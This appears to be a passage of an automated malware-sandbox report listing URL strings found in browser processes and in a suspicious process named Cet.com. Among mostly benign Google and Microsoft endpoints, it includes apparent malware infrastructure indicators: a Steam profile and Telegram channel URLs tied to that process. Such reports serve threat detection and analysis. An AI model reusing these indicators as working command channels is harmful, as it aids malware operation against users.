Source: chrome.exe, 00000013.00000002.2679057167.0000512800F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673651601.00005128007D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672283894.0000512800524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000013.00000002.2679057167.0000512800F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673651601.00005128007D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2671895706.000051280040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email?utm_source=chrome2B
Source: chrome.exe, 00000013.00000002.2673391755.0000512800764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2671895706.000051280040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000013.00000003.2596138711.000051280100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674337011.00005128009DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674495716.0000512800A13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 000003.log1.24.dr, 2cc80dabc69f58b6_0.24.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.24.dr, 000003.log7.24.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log7.24.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.24.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: Session_13382898833381139.24.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.24.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.24.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 00000016.00000002.2824030160.000068B000394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614003341.0000512801470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000013.00000003.2640169007.0000512801060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000013.00000002.2676018054.0000512800B4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614003341.0000512801470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614003341.0000512801470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000013.00000002.2679850278.00005128010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2678245909.0000512800E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596934281.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2675320443.0000512800ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2671895706.000051280040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679320754.0000512800F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000013.00000002.2670699648.00005128000B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595398112.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679258772.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2676623352.0000512800C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596934281.0000512800F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000013.00000003.2595956837.00005128006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2623622145.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2670699648.00005128000B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595398112.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679258772.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596934281.0000512800F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000013.00000003.2595956837.00005128006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2623622145.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595398112.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679258772.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596934281.0000512800F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000013.00000003.2595956837.00005128006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2623622145.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595398112.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679258772.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596934281.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673452193.000051280078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000013.00000003.2595956837.00005128006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2623622145.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595398112.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679258772.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2678245909.0000512800E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596934281.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2671522392.00005128002F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679320754.0000512800F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000013.00000003.2595956837.00005128006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2623622145.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595398112.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679258772.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596934281.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679320754.0000512800F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000013.00000002.2670699648.00005128000B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595398112.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679258772.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596934281.0000512800F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000013.00000003.2596138711.000051280100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674337011.00005128009DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674495716.0000512800A13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000013.00000003.2598841114.000051280120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598730491.0000512801178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598144787.00005128003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_306.21.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chrome.exe, 00000013.00000002.2681511530.0000512801634000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=trueQ
Source: chromecache_310.21.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_310.21.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000013.00000002.2674337011.00005128009DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674495716.0000512800A13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000013.00000002.2670560917.0000512800078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000013.00000002.2670699648.00005128000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673709279.000051280080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673737608.000051280081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673709279.000051280080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000013.00000002.2673737608.000051280081C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactionsA
Source: chrome.exe, 00000013.00000003.2602830124.0000512800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000013.00000002.2671946475.000051280046C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613104033.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614581226.0000512801304000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614061867.00005128012F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614475413.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614547335.00005128013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: Cet.com, 0000000D.00000003.2462434331.0000000003A3C000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000003.2462379697.000000000114F000.00000004.00000020.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3219902951.0000000004741000.00000040.00001000.00020000.00000000.sdmp, Cet.com, 0000000D.00000003.2462624952.00000000039B1000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000003.2462668638.00000000039F5000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3218327209.00000000039B0000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp, Cet.com, 0000000D.00000003.2462471727.000000000474F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199820567237
Source: Cet.com, 0000000D.00000003.2462471727.000000000474F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199820567237hac22tlMozilla/5.0
Source: Cet.com, 0000000D.00000002.3221872157.000000000616E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Cet.com, 0000000D.00000002.3221872157.000000000616E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Cet.com, 0000000D.00000002.3217675963.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Cet.com, 0000000D.00000002.3217675963.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/1
Source: Cet.com, 0000000D.00000002.3218524142.0000000003AC8000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000003.2462471727.000000000474F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/m08mbk
Source: Cet.com, 0000000D.00000002.3218524142.0000000003AC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/m08mbkL6
Source: Cet.com, 0000000D.00000003.2462471727.000000000474F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/m08mbkhac22tlMozilla/5.0
Source: chrome.exe, 00000013.00000002.2674725656.0000512800A40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.24.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.24.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.24.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: Cet.com, 0000000D.00000002.3218524142.0000000003AC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: chromecache_310.21.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: Cet.com, 0000000D.00000002.3218939111.0000000003C9B000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, m7yuk6.13.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: Cet.com, 0000000D.00000002.3218939111.0000000003BBE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672021493.0000512800498000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000013.00000002.2676755492.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598093770.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614694283.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2593520243.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2616787424.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2639070022.0000512800C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000013.00000002.2676755492.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598093770.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614694283.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2593520243.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2616787424.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2639070022.0000512800C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000013.00000002.2676755492.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598093770.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614694283.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2593520243.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2616787424.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2639070022.0000512800C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000013.00000003.2602830124.0000512800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000013.00000003.2602830124.0000512800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000013.00000003.2602830124.0000512800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000013.00000003.2587746858.00005128004B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674825234.0000512800A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000013.00000002.2673776533.0000512800840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Charii3
Source: chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000013.00000002.2680412293.0000512801168000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000013.00000002.2680412293.0000512801168000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos(QU
Source: content.js.24.dr, content_new.js.24.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674209306.000051280098C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673879784.0000512800884000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674209306.000051280098C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673879784.0000512800884000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: Cet.com, 0000000D.00000002.3218939111.0000000003BBE000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.000000000585A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672387022.000051280055C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2676623352.0000512800C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672246325.000051280050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr, Web Data.24.dr, 8y5fk6.13.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000013.00000002.2671946475.000051280046C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613104033.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614581226.0000512801304000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614061867.00005128012F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614475413.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614547335.00005128013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614003341.0000512801470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000013.00000003.2598144787.00005128003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submitQ(
Source: chrome.exe, 00000013.00000002.2674825234.0000512800A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000013.00000003.2623622145.0000512800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2602830124.0000512800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000013.00000002.2670436867.000051280001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
